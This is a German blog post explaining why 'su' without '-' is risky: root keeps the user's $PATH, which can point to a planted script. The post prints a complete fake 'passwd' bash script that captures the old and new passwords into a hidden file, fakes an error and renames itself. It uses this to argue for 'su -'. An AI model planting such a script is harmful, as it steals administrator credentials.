Warum „su“ ohne „-“ eine schlechte Idee ist

Mal was einfaches zum Thema Sicherheit in Linux-Systemen. Es müssen nicht immer die großen Klatschen sein, kleine Dinge helfen da auch.

Immer wieder (oder sagen wir leider immer noch) sehe ich, dass beim Wechsel zum root-Konto auf einem System nur „su“ und nicht „su -„ eingegeben wird. Auch in Bereichen an denen sonst alles soooooo super abgesichert ist. Aber was ist das Problem dabei?

Bei einem einfachen „su“ behält der Benutzer „root“ die Umgebung, mit allen gesetzten Variablen, auch „$PATH“. Wenn jetzt der Benutzer das aktuelle Verzeichnis, also „.“ an den Anfang von „$PATH“ setzt, werden alle eingegebenen Kommandos immer erst im aktuellen Verzeichnis gesucht. Ganz schön dumm. Denn so kann ein Benutzer dem Admin mal schnell ein kleines Skript unterjubeln und damit das Passwort abfangen. Schön ist da sowas:

#!/bin/bash
PWALT=““
PWNEU1=““
PWNEU2=““
echo „Passworts für $USER wird geändert.“
echo -n „Geben Sie das aktuelle Passwort ein: “
stty -echo
read PWALT
echo „“
stty echo
echo -n „Geben Sie ein neues Passwort ein: “
stty -echo
read PWNEU1
echo „“
stty echo
echo -n  „Geben Sie das neue Passwort erneut ein: “
stty -echo
read PWNEU2
echo „“
stty echo
sleep 2
echo „Die Passwörter stimmen nicht überein.“
echo „passwd: Bearbeitungssfehler des Legitimierungszeichens“
echo „passwd: Passwort nicht geändert“
echo $PWALT > ${HOME}/passklau
echo $PWNEU1 >> ${HOME}/passklau  
echo $PWNEU2 >> ${HOME}/passklau  
mv passwd.bash passwd1.bash

Das Skript wird mit dem name passwd abgespeichert. Wenn jetzt der Admin, nach der Eingabe von „su“ sein Passwort ändern will, ruft er das Skript auf. Na vertippen kann sich jeder mal. Beim zweiten Aufruf klappt es dann ja, also alles Ok.

Wird stattdessen „su -“ genutzt, ist das identisch mit einem Login, der „root“ erhält seine eigene Umgebung und würde nicht in Falle laufen.

Sie sehen, es macht Sinn „su -“ zu nutzen und es ist absolut Sinnvoll, dass das aktuelle Verzeichnis NICHT in $PATH eingetragen ist. 

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